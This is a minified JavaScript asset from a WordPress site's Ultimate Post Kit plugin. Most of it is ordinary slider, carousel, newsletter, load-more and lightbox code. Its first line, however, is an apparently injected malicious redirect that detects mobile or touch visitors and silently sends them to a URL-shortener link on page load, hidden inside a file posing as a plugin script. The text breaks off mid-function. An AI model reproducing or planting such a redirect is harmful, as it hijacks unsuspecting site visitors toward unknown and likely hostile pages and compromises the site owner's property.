File: //home2/gazetufm/dumoshi.com/wp-content/plugins/ultimate-post-kit/assets/js/upk-all-scripts.min.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
;(function($, elementor){
'use strict';
!function(e,n){"use strict";var t=function(e,n){var t=e.find(".upk-alex-carousel");if(!t.length)return;var o=t.find(".swiper-carousel"),r=t.data("settings");const i=elementorFrontend.utils.swiper;!async function(){await new i(o,r);r.pauseOnHover&&n(o).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-alex-carousel.default",t)}))}(jQuery,window.elementorFrontend);
!function(e,n){"use strict";var t=function(e,n){var t=e.find(".upk-alice-carousel");if(!t.length)return;var o=t.find(".swiper-carousel"),r=t.data("settings");const i=elementorFrontend.utils.swiper;!async function(){await new i(o,r);r.pauseOnHover&&n(o).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-alice-carousel.default",t)}))}(jQuery,window.elementorFrontend);
!function(e,n){"use strict";var t=function(e,n){var t=e.find(".upk-alter-carousel");if(!t.length)return;var o=t.find(".swiper-carousel"),r=t.data("settings");const i=elementorFrontend.utils.swiper;!async function(){await new i(o,r);r.pauseOnHover&&n(o).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-alter-carousel.default",t)}))}(jQuery,window.elementorFrontend);
!function(n,e){"use strict";var t=function(n,e){var t=n.find(".upk-amox-carousel");if(!t.length)return;var o=t.find(".swiper-carousel"),r=t.data("settings");const i=elementorFrontend.utils.swiper;!async function(){await new i(o,r);r.pauseOnHover&&e(o).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-amox-carousel.default",t)}))}(jQuery,window.elementorFrontend);
!function(n,e){"use strict";var t=function(n,e){var t=n.find(".upk-buzz-list-carousel");if(!t.length)return;var o=t.find(".swiper-carousel"),r=t.data("settings");const i=elementorFrontend.utils.swiper;!async function(){await new i(o,r);r.pauseOnHover&&e(o).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-buzz-list-carousel.default",t)}))}(jQuery,window.elementorFrontend);
!function(e,n){"use strict";var o=function(e,n){var o=e.find(".upk-camux-slider");if(!o.length)return;var t=o.find(".swiper-carousel"),i=o.data("settings");const r=elementorFrontend.utils.swiper;!async function(){var o=await new r(t,i);i.pauseOnHover&&n(t).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}));var s=e.find(".upk-camux-slider-wrap").find(".upk-camux-thumbs"),l=await new r(s,{spaceBetween:10,slidesPerView:4,touchRatio:.2,slideToClickedSlide:!0,loop:!!i.loop&&i.loop,speed:i.speed?i.speed:500,loopedSlides:4,breakpoints:{0:{slidesPerView:2},768:{slidesPerView:3},1024:{slidesPerView:4}}});o.controller.control=l,l.controller.control=o}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-camux-slider.default",o)}))}(jQuery,window.elementorFrontend);
!function(e,n){"use strict";var o=function(e,n){var o=e.find(".upk-carbon-main");if(!o.length)return;var r=o.find(".swiper-carousel"),i=o.data("settings");const t=elementorFrontend.utils.swiper;!async function(){var o=await new t(r,i);i.pauseOnHover&&n(r).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}));var d=e.find(".upk-carbon-slider-wrap").find(".upk-carbon-thumbs"),s=d.find(".swiper-wrapper > .swiper-slide").length,a=Math.max(1,Math.min(s||1,4)),l=!!i.loop,p=await new t(d,{spaceBetween:0,slidesPerView:1,touchRatio:.2,slideToClickedSlide:!0,centeredSlides:!0,loop:l,speed:i.speed?i.speed:500,loopedSlides:a,breakpoints:{768:{slidesPerView:3,spaceBetween:20}}});function c(){o.destroyed||p.destroyed||p.realIndex!==o.realIndex&&(l?p.slideToLoop(o.realIndex):p.slideTo(o.realIndex))}o.controller.control=p,o.on("slideChangeTransitionEnd",c),p.on("slideChangeTransitionEnd",(function(){o.destroyed||p.destroyed||p.realIndex!==o.realIndex&&(l?o.slideToLoop(p.realIndex):o.slideTo(p.realIndex))})),c()}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-carbon-slider.default",o)}))}(jQuery,window.elementorFrontend);
!function(e,n){"use strict";var t=function(e,n){var t=e.find(".upk-category-carousel");if(!t.length)return;var o=t.find(".swiper-carousel"),r=t.data("settings");const i=elementorFrontend.utils.swiper;!async function(){await new i(o,r);r.pauseOnHover&&n(o).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-category-carousel.default",t)}))}(jQuery,window.elementorFrontend);
!function(n,e){"use strict";var t=function(n,e){var t=n.find(".upk-crystal-slider");if(!t.length)return;var r=t.find(".swiper-carousel"),o=t.data("settings");const i=elementorFrontend.utils.swiper;!async function(){await new i(r,o);o.pauseOnHover&&e(r).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-crystal-slider.default",t)}))}(jQuery,window.elementorFrontend);
!function(e,n){"use strict";var t=function(e,n){var t=e.find(".upk-elite-carousel");if(!t.length)return;var o=t.find(".swiper-carousel"),r=t.data("settings");const i=elementorFrontend.utils.swiper;!async function(){await new i(o,r);r.pauseOnHover&&n(o).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-elite-carousel.default",t)}))}(jQuery,window.elementorFrontend);
!function(n,e){"use strict";var t=function(n,e){var t=n.find(".upk-harold-carousel");if(!t.length)return;var o=t.find(".swiper-carousel"),r=t.data("settings");const i=elementorFrontend.utils.swiper;!async function(){await new i(o,r);r.pauseOnHover&&e(o).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-harold-carousel.default",t)}))}(jQuery,window.elementorFrontend);
!function(e,n){"use strict";var t=function(e,n){var t=e.find(".upk-hazel-carousel");if(!t.length)return;var o=t.find(".swiper-carousel"),r=t.data("settings");const i=elementorFrontend.utils.swiper;!async function(){await new i(o,r);r.pauseOnHover&&n(o).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-hazel-carousel.default",t)}))}(jQuery,window.elementorFrontend);
!function(e,n){"use strict";var t=function(e,n){var t=e.find(".upk-maple-carousel");if(!t.length)return;var o=t.find(".swiper-carousel"),r=t.data("settings");const i=elementorFrontend.utils.swiper;!async function(){await new i(o,r);r.pauseOnHover&&n(o).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-maple-carousel.default",t)}))}(jQuery,window.elementorFrontend);
!function(e,n){"use strict";var t=function(e,n){var t=e.find(".upk-news-ticker"),o=t.data("settings");t.length&&n(t).upkNewsTicker(o)};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-news-ticker.default",t)}))}(jQuery,window.elementorFrontend);
!function(e){e.alert=function(t){e.alert.hide(),e(function(e,t,n){return['<div class="upk-newsletter-'+e+" "+t+'">','<div class="upk-alert-box">',n,"</div>","</div>"].join("")}("alert","",{text:t}.text)).appendTo(document.body)},e.alert.hide=function(){e(".upk-newsletter-alert").slideUp(800).remove()}}(jQuery),function(e,t){"use strict";var n=function(e,t){var n=e.find(".upk-newsletter");if(n.length){var i=window.UltimatePostKitConfig.mailchimp;return n.on("submit",(function(){var e=t(this);return t.alert('<span class="uwk-newsletter-loader"></span>'+i.subscribing),t.ajax({url:e.attr("action"),type:"POST",data:e.serialize(),success:function(e){setTimeout((function(){t.alert(e),setTimeout((function(){t.alert.hide()}),5e3)}),2e3)}}),!1})),!1}};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-newsletter.default",n)}))}(jQuery,window.elementorFrontend);
!function(n,e){"use strict";var t=function(n,e){var t=n.find(".upk-noxe-slider");if(!t.length)return;var o=t.find(".swiper-carousel"),r=t.data("settings");const i=elementorFrontend.utils.swiper;!async function(){await new i(o,r);r.pauseOnHover&&e(o).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-noxe-slider.default",t)}))}(jQuery,window.elementorFrontend);
!function(n,e){"use strict";var t=function(n,e){var t=n.find(".upk-paradox-slider");if(!t.length)return;var o=t.find(".swiper-carousel"),r=t.data("settings");const i=elementorFrontend.utils.swiper;!async function(){await new i(o,r);r.pauseOnHover&&e(o).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-paradox-slider.default",t)}))}(jQuery,window.elementorFrontend);
!function(e,i){"use strict";var o=function(e,i){var o=e.find(".upk-pholox-slider"),n=o.data("settings");o.data("widget");if(!o.length)return;const r=elementorFrontend.utils.swiper;!async function(){var e=o.find(".upk-thumbs-slider .swiper-thumbs"),t=o.find(".upk-main-slider .swiper-carousel"),d=await new r(t,n),s=await new r(e,{spaceBetween:15,slidesPerView:2,touchRatio:.2,slideToClickedSlide:!0,loop:!!n.loop&&n.loop,speed:n.speed?n.speed:500,loopedSlides:4,breakpoints:{768:{slidesPerView:3,spaceBetween:20},1440:{slidesPerView:4,spaceBetween:30}}});d.controller.control=s,s.controller.control=d,d.on("slideChange",(function(){a()}));var a=function(){o.find(".upk-video-wrap").css("z-index",-1);var e=o.find(".upk-video-iframe");Array.prototype.forEach.call(e,(function(e){var i=e.src;e.src=i.replace("autoplay=1",""),o.find(".upk-video-iframe").prop("src","")}))};o.find(".upk-pholox-video-trigger").on("click",(function(){console.log("s");var e=i(this).data("src").split("?")[0],n=o.find(".upk-main-slider .swiper-slide-active .upk-img-wrap");o.find(".upk-img-wrap").removeClass("upk-width-100"),i(n).addClass("upk-width-100"),n.find(".upk-video-iframe").attr("src",e+"?autoplay=1&modestbranding=1&showinfo=0&rel=0&controls=0&loop=1"),n.find(".upk-video-wrap").css("z-index",10)}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-pholox-slider.default",o)}))}(jQuery,window.elementorFrontend);
!function(e,n){"use strict";var t=function(e,n){var t=e.find(".upk-ramble-carousel");if(!t.length)return;var o=t.find(".swiper-carousel"),r=t.data("settings");const i=elementorFrontend.utils.swiper;!async function(){await new i(o,r);r.pauseOnHover&&n(o).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-ramble-carousel.default",t)}))}(jQuery,window.elementorFrontend);
!function(e,n){"use strict";var r=function(e,n){var r=e.find(".upk-reading-progress"),o=r.data("settings");r.length&&(n(".upk-reading-progress-wrap")&&n(".upk-reading-progress-wrap").remove(),jQuery.scrolline(o),n("body.admin-bar").length&&"top"==o.position&&n(".upk-reading-progress-wrap").css("margin-top",32))};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-reading-progress.default",r)}))}(jQuery,window.elementorFrontend);
!function(e,n){"use strict";var o=function(e,n){var o=e.find(".upk-skide-slider");if(!o.length)return;var t=o.find(".swiper-carousel"),i=o.data("settings");const r=elementorFrontend.utils.swiper;!async function(){var o=await new r(t,i);i.pauseOnHover&&n(t).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}));var s=e.find(".upk-skide-slider-wrap").find(".upk-skide-thumbs"),d=await new r(s,{spaceBetween:10,slidesPerView:2,touchRatio:.2,slideToClickedSlide:!0,loop:!!i.loop&&i.loop,speed:i.speed?i.speed:500,loopedSlides:4,breakpoints:{1024:{slidesPerView:3,spaceBetween:20}}});o.controller.control=d,d.controller.control=o}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-skide-slider.default",o)}))}(jQuery,window.elementorFrontend);
!function(e,i){"use strict";var n=function(e,i){var n=e.find(".upk-snog-slider");if(!n.length)return;var o=n.find(".upk-main-slider"),t=n.data("settings"),d=n.data("widget-settings");const l=elementorFrontend.utils.swiper;!async function(){var n=await new l(o,t);t.pauseOnHover&&i(o).hover((function(){this.swiper.autoplay.stop()}),(function(){this.swiper.autoplay.start()}));var s=e.find(".upk-snog-slider-wrap").find(".upk-snog-thumbs"),a=await new l(s,{spaceBetween:0,effect:"slide",lazy:!0,slidesPerView:2,touchRatio:.2,loop:!!t.loop&&t.loop,speed:t.speed?t.speed:800,loopedSlides:4}),r=await new l(i(d.id).find(".upk-content-slider"),{parallax:!0,effect:"fade",slidesPerView:1,loop:!!t.loop&&t.loop,speed:t.speed?t.speed:800,loopedSlides:4,allowTouchMove:!1,pagination:{el:d.id+" .upk-pagination",clickable:!0}});n.controller.control=a,a.controller.control=n,i(document).ready((function(){setTimeout((()=>{var e=i(d.id).find(".upk-main-slider")[0].swiper,n=i(d.id).find(".upk-main-slider .swiper-slide-active"),o=n.data("swiper-slide-index");void 0===o&&(o=n.index()),i(d.id).find(".upk-navigation-prev").on("click",(function(){e.slidePrev()})),i(d.id).find(".upk-navigation-next").on("click",(function(){e.slideNext()})),i(d.id).find(".swiper-pagination-bullet").on("click",(function(){var n=i(this).index();t.loop?e.slideToLoop(n):e.slideTo(n),i(d.id).addClass("wait--")})),e.on("slideChange",(function(i){r.slideToLoop(e.realIndex)}))}),3e3)}))}()};jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-snog-slider.default",n)}))}(jQuery,window.elementorFrontend);
!function(e){e(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/upk-static-social-count.default",(function(t){t.find(".upk-static-social-count").each((function(){var t=e(this)[0],n=e(t).find(".counter-value");t&&e(n).each((function(){var t=e(this);jQuery({Counter:0}).animate({Counter:t.text()},{duration:3e3,easing:"swing",step:function(){t.text(function(e){if((e=e.toString().replace(/[^0-9.]/g,""))<=999)return Math.ceil(e);let t,n=[{v:1e3,s:"K"},{v:1e6,s:"M"},{v:1e9,s:"B"},{v:1e12,s:"T"},{v:1e15,s:"P"},{v:1e18,s:"E"}];for(t=n.length-1;t>0&&!(e>=n[t].v);t--);return(e/n[t].v).toFixed(2).replace(/\.0+$|(\.[0-9]*[1-9])0+$/,"$1")+n[t].s}(this.Counter))}})}))}))}))}))}(jQuery);
!function(i,n){"use strict";const t=function(i,n){let t,e=i.find(".upk-ajax-grid"),o=e.data("loadmore"),a=i.data("settings");if(void 0!==a&&(t=void 0!==a.upk_in_animation_show?"yes":""),!e.length)return;if("yes"!==o.loadmore_enable)return;const r=e.data("settings"),l=i.find(".upk-loadmore-btn"),d=i.find(".upk-loadmore-container"),s=e.find(".upk-ajax-grid-wrap"),u=s.data("in-animation-delay")?s.data("in-animation-delay"):200;let p=!1,c=!1,g=r.posts_per_page,k=s.find(".upk-item").length+1;const f=function(){if(c)return;var i,a=[];let f;const m=e?.attr("class")?.match(/upk-([a-z0-9_-]+)-(grid|list)/);if(m){f=`upk_${m[1].replace(/-/g,"_")}_${m[2]}_loadmore_posts`}let w={action:f,settings:r,per_page:r.ajax_item_load,offset:g,animation:t,slide_index:k,nonce:window.UltimatePostKitConfig.nonce};jQuery.ajax({url:window.UltimatePostKitConfig.ajaxurl,type:"post",data:w,success:function(e){if(n(s).append(e.markup),g+=r.ajax_item_load,k+=r?.ajax_item_load,p=!1,"yes"===o.loadmore_btn&&l.html("Load More"),n(e.markup).length<r.ajax_item_load&&(c=!0,l.hide(),d.hide()),"yes"===t){function f(){i||(i=window.setInterval((function(){a.length?(n(a.shift()).addClass("is-inview"),f()):(window.clearInterval(i),i=null)}),u))}!function(i,n){var t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};t.rootMargin=t.rootMargin||"10% 0px 0px 0px",new IntersectionObserver((function(i,e){i.forEach((function(i){i.isIntersecting&&(n(i),t.loop||e.unobserve(i.target))}))}),t).observe(i)}(n(".upk-ajax-grid .upk-item:not(.is-inview)")[0],(function(){a.push(n(".upk-ajax-grid .upk-item:not(.is-inview)")),f()}),{root:null,rootMargin:"0px",threshold:.8})}}})};"yes"===o.loadmore_btn&&n(l).on("click",(function(){p?p=!1:(p=!0,l.html("loading..."),f())})),"yes"===o.infinite_scroll&&n(window).on("scroll",(function(){n(window).scrollTop()==n(document).height()-n(window).height()&&(n(".upk-ajax-loading").css("display","block"),f())}))};jQuery(window).on("elementor/frontend/init",(function(){["upk-amox-grid","upk-kalon-grid","upk-alex-grid","upk-alice-grid","upk-alter-grid","upk-elite-grid","upk-hazel-grid","upk-gratis-grid","upk-maple-grid","upk-pixina-grid","upk-ramble-grid","upk-wixer-grid","upk-tiny-list","upk-scott-list","upk-fanel-list","upk-buzz-list","upk-featured-list","upk-harold-list","upk-candy-list","upk-classic-list","upk-welsh-list"].forEach((i=>{elementorFrontend.hooks.addAction(`frontend/element_ready/${i}.default`,t)}))}))}(jQuery,window.elementorFrontend);
!function(n,i){"use strict";var e=function(n,i){var e=n.find(".upk-in-animation");if(e.length){var t,r=[],o=e.data("in-animation-delay")?e.data("in-animation-delay"):200;!function(n,i){var e=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};e.rootMargin=e.rootMargin||"10% 0px 0px 0px",new IntersectionObserver((function(n,t){n.forEach((function(n){n.isIntersecting&&(i(n),e.loop||t.unobserve(n.target))}))}),e).observe(n)}(i(e[0]).find(".upk-item")[0],(function(){r.push(i(e[0]).find(".upk-item")),a()}),{root:null,rootMargin:"0px",threshold:.8})}function a(){t||(t=window.setInterval((function(){r.length?(jQuery(r.shift()).addClass("is-inview"),a()):(window.clearInterval(t),t=null)}),o))}};jQuery(window).on("elementor/frontend/init",(function(){n.each(["alex-grid","alice-grid","alter-grid","amox-grid","buzz-list","classic-list","elite-grid","fanel-list","featured-list","harold-list","hazel-grid","kalon-grid","maple-grid","ramble-grid","recent-comments","scott-list","tiny-list","welsh-list","wixer-grid"],(function(n,i){elementorFrontend.hooks.addAction("frontend/element_ready/upk-"+i+".default",e)}))}))}(jQuery,window.elementorFrontend);
!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var n=t();for(var o in n)("object"==typeof exports?exports:e)[o]=n[o]}}(window,(function(){return function(e){var t={};function n(o){if(t[o])return t[o].exports;var i=t[o]={i:o,l:!1,exports:{}};return e[o].call(i.exports,i,i.exports,n),i.l=!0,i.exports}return n.m=e,n.c=t,n.d=function(e,t,o){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:o})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var o=Object.create(null);if(n.r(o),Object.defineProperty(o,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var i in e)n.d(o,i,function(t){return e[t]}.bind(null,i));return o},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=0)}([function(e,t,n){"use strict";n.r(t);var o,i="fslightbox-",s="".concat(i,"styles"),r="".concat(i,"cursor-grabbing"),a="".concat(i,"full-dimension"),c="".concat(i,"flex-centered"),l="".concat(i,"open"),u="".concat(i,"transform-transition"),d="".concat(i,"absoluted"),f="".concat(i,"slide-btn"),p="".concat(f,"-container"),h="".concat(i,"fade-in"),g="".concat(i,"fade-out"),m=h+"-strong",b=g+"-strong",v="".concat(i,"opacity-"),x="".concat(v,"1");function y(e){return(y="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function w(e){var t,n=e.props,o=0,i={};this.getSourceTypeFromLocalStorageByUrl=function(e){return t[e]?t[e]:s(e)},this.handleReceivedSourceTypeForUrl=function(e,n){if(!1===i[n]&&(o--,"invalid"!==e?i[n]=e:delete i[n],0===o)){!function(e,t){for(var n in t)e[n]=t[n]}(t,i);try{localStorage.setItem("fslightbox-types",JSON.stringify(t))}catch(e){}}};var s=function(e){o++,i[e]=!1};if(n.disableLocalStorage)this.getSourceTypeFromLocalStorageByUrl=function(){},this.handleReceivedSourceTypeForUrl=function(){};else{try{t=JSON.parse(localStorage.getItem("fslightbox-types"))}catch(e){}t||(t={},this.getSourceTypeFromLocalStorageByUrl=s)}}function S(e,t,n,o){e.data;var i=e.elements.sources,s=n/o,r=0;this.adjustSize=function(){if((r=e.mw/s)<e.mh)return n<e.mw&&(r=o),a();r=o>e.mh?e.mh:o,a()};var a=function(){i[t].style.width=r*s+"px",i[t].style.height=r+"px"}}function L(e,t){var n=this,o=e.collections.sourceSizers,i=e.elements.sources,s=e.isl,r=e.props.onSourceLoad,a=e.resolve,c=e.saw;function l(e,n){o[t]=a(S,[t,e,n]),o[t].adjustSize()}this.b=function(e,o){i[t].classList.add(x),n.a(),l(e,o),n.b=l},this.a=function(){s[t]=!0,c[t].classList.add(m),c[t].removeChild(c[t].firstChild),r&&r(e,i[t],t)}}function C(e,t){var n,o=this,i=e.elements.sources,s=e.props,r=(0,e.resolve)(L,[t]);this.handleImageLoad=function(e){var t=e.target,n=t.naturalWidth,o=t.naturalHeight;r.b(n,o)},this.handleVideoLoad=function(e){var t=e.target,o=t.videoWidth,i=t.videoHeight;n=!0,r.b(o,i)},this.handleNotMetaDatedVideoLoad=function(){n||o.handleYoutubeLoad()},this.handleYoutubeLoad=function(){var e=1920,t=1080;s.maxYoutubeDimensions&&(e=s.maxYoutubeDimensions.width,t=s.maxYoutubeDimensions.height),r.b(e,t)},this.handleCustomLoad=function(){var e=i[t],n=e.offsetWidth,s=e.offsetHeight;n&&s?r.b(n,s):setTimeout(o.handleCustomLoad)}}function E(e,t){var n=e.elements.sources,o=e.props.customAttributes,i=n[t];for(var s in o[t]){var r=o[t][s];"class"!=s?i.setAttribute(s,r):i.className+=" "+r}}function F(e,t){var n=e.collections.sourceLoadHandlers,o=e.elements.sources,i=e.props.sources,s=e.saw;o[t]=document.createElement("img"),o[t].className="fslightboxs",o[t].src=i[t],o[t].onload=n[t].handleImageLoad,E(e,t),s[t].appendChild(o[t])}function A(e,t){var n=e.ap,o=e.collections.sourceLoadHandlers,i=e.elements.sources,s=e.props,r=s.sources,a=(s.videosPosters,e.saw),c=document.createElement("video"),l=document.createElement("source");i[t]=c,c.className="fslightboxs fslightboxv",c.src=r[t],c.onloadedmetadata=function(e){return o[t].handleVideoLoad(e)},c.controls=!0,c.autoplay=n.i(t),E(e,t),l.src=r[t],c.appendChild(l),setTimeout(o[t].handleNotMetaDatedVideoLoad,3e3),a[t].appendChild(c)}function I(e,t){var n=e.ap,o=e.collections.sourceLoadHandlers,i=e.elements.sources,s=e.props.sources,r=e.saw,a=s[t],c=a.split("?")[1],l=document.createElement("iframe");i[t]=l,l.className="fslightboxs fslightboxy",l.src="https://www.youtube.com/embed/".concat(a.match(/^.*(youtu.be\/|v\/|u\/\w\/|embed\/|watch\?v=|\&v=)([^#\&\?]*).*/)[2],"?").concat(c||"").concat(n.i(t)?"&mute=1&autoplay=1":"","&enablejsapi=1"),l.allowFullscreen=!0,E(e,t),r[t].appendChild(l),o[t].handleYoutubeLoad()}function z(e,t){var n=e.collections.sourceLoadHandlers,o=e.elements.sources,i=e.props.sources,s=e.saw,r=i[t];o[t]=r,r.classList.add("fslightboxs"),E(e,t),s[t].appendChild(r),n[t].handleCustomLoad()}function T(e,t){var n=e.elements.sources,o=(e.props.sources,e.saw);n[t]=document.createElement("div"),n[t].className="".concat(i,"invalid-file-wrapper ").concat(c),n[t].innerHTML="Invalid source",o[t].appendChild(n[t]),new L(e,t).a()}function N(e){var t=e.collections,n=t.sourceLoadHandlers,o=t.sourcesRenderFunctions,i=e.core.sourceDisplayFacade,s=e.resolve;this.runActionsForSourceTypeAndIndex=function(t,r){var a;switch("invalid"!==t&&(n[r]=s(C,[r])),t){case"image":a=F;break;case"video":a=A;break;case"youtube":a=I;break;case"custom":a=z;break;default:a=T}o[r]=function(){return a(e,r)},i.displaySourcesWhichShouldBeDisplayed()}}function P(e,t,n){var o=e.props,i=o.types,s=o.type,r=o.sources;this.getTypeSetByClientForIndex=function(e){var t;return i&&i[e]?t=i[e]:s&&(t=s),t},this.retrieveTypeWithXhrForIndex=function(e){!function(e,t){var n=document.createElement("a");n.href=e;var o=n.hostname;if("www.youtube.com"===o||"youtu.be"===o)return t("youtube");var i=new XMLHttpRequest;i.onreadystatechange=function(){if(4!==i.readyState){if(2===i.readyState){var e,n=i.getResponseHeader("content-type");switch(n.slice(0,n.indexOf("/"))){case"image":e="image";break;case"video":e="video";break;default:e="invalid"}i.onreadystatechange=null,i.abort(),t(e)}}else t("invalid")},i.open("GET",e),i.send()}(r[e],(function(o){t.handleReceivedSourceTypeForUrl(o,r[e]),n.runActionsForSourceTypeAndIndex(o,e)}))}}function k(e,t){var n=e.core.stageManager,o=e.elements.sourceWrappersContainer,i=e.props,s=e.smw,r=0,l=document.createElement("div");function f(e){l.style.transform="translateX(".concat(e+r,"px)"),r=0}function p(){return(1+i.slideDistance)*innerWidth}l.className="".concat(d," ").concat(a," ").concat(c),l.s=function(){l.style.display="flex"},l.h=function(){l.style.display="none"},l.a=function(){l.classList.add(u)},l.d=function(){l.classList.remove(u)},l.n=function(){l.style.removeProperty("transform")},l.v=function(e){return r=e,l},l.ne=function(){f(-p())},l.z=function(){f(0)},l.p=function(){f(p())},n.i(t)||l.h(),s[t]=l,o.appendChild(l),function(e,t){var n=e.saw,o=e.smw,i=document.createElement("div"),s=document.createElement("div");s.className="fslightboxl";for(var r=0;r<3;r++){var a=document.createElement("div");s.appendChild(a)}i.appendChild(s),o[t].appendChild(i),n[t]=i}(e,t)}function R(e,t,n){var o=document.createElementNS("http://www.w3.org/2000/svg","svg"),s="".concat(i,"svg");o.setAttributeNS(null,"class","".concat(s)),o.setAttributeNS(null,"viewBox",t);var r=document.createElementNS("http://www.w3.org/2000/svg","path");return r.setAttributeNS(null,"class","".concat(s,"p")),r.setAttributeNS(null,"d",n),o.appendChild(r),e.appendChild(o),o}function M(e,t){var n=document.createElement("button");return n.className="fslightboxb ".concat(i,"toolbar-button ").concat(c),n.title=t,e.appendChild(n),n}function H(e){var t=e.props.sources,n=e.elements.container,o=document.createElement("div");o.className="".concat(i,"nav"),n.appendChild(o),function(e,t){var n=document.createElement("div");n.className="".concat(i,"toolbar"),t.appendChild(n),function(e,t){if(!e.hfs){var n="M4.5 11H3v4h4v-1.5H4.5V11zM3 7h1.5V4.5H7V3H3v4zm10.5 6.5H11V15h4v-4h-1.5v2.5zM11 3v1.5h2.5V7H15V3h-4z",o=M(t);o.title="Enter fullscreen";var s=R(o,"0 0 18 18",n);e.fso=function(){e.ifs=1,o.title="Exit fullscreen",s.classList.add("".concat(i,"fsx")),s.setAttributeNS(null,"viewBox","0 0 950 1024"),s.firstChild.setAttributeNS(null,"d","M682 342h128v84h-212v-212h84v128zM598 810v-212h212v84h-128v128h-84zM342 342v-128h84v212h-212v-84h128zM214 682v-84h212v212h-84v-128h-128z")},e.fsx=function(){e.ifs=0,o.title="Enter fullscreen",s.classList.remove("".concat(i,"fsx")),s.setAttributeNS(null,"viewBox","0 0 18 18"),s.firstChild.setAttributeNS(null,"d",n)},o.onclick=e.fs.t}}(e,n),function(e,t){var n=M(t,"Close");n.onclick=e.core.lightboxCloser.close,R(n,"0 0 24 24","M 4.7070312 3.2929688 L 3.2929688 4.7070312 L 10.585938 12 L 3.2929688 19.292969 L 4.7070312 20.707031 L 12 13.414062 L 19.292969 20.707031 L 20.707031 19.292969 L 13.414062 12 L 20.707031 4.7070312 L 19.292969 3.2929688 L 12 10.585938 L 4.7070312 3.2929688 z")}(e,n)}(e,o),t.length>1&&function(e,t){var n=e.props.sources,o=(e.stageIndexes,document.createElement("div")),i=document.createElement("span"),s=document.createElement("span"),r=document.createElement("span");o.className="fslightboxsn",e.sn=function(e){return 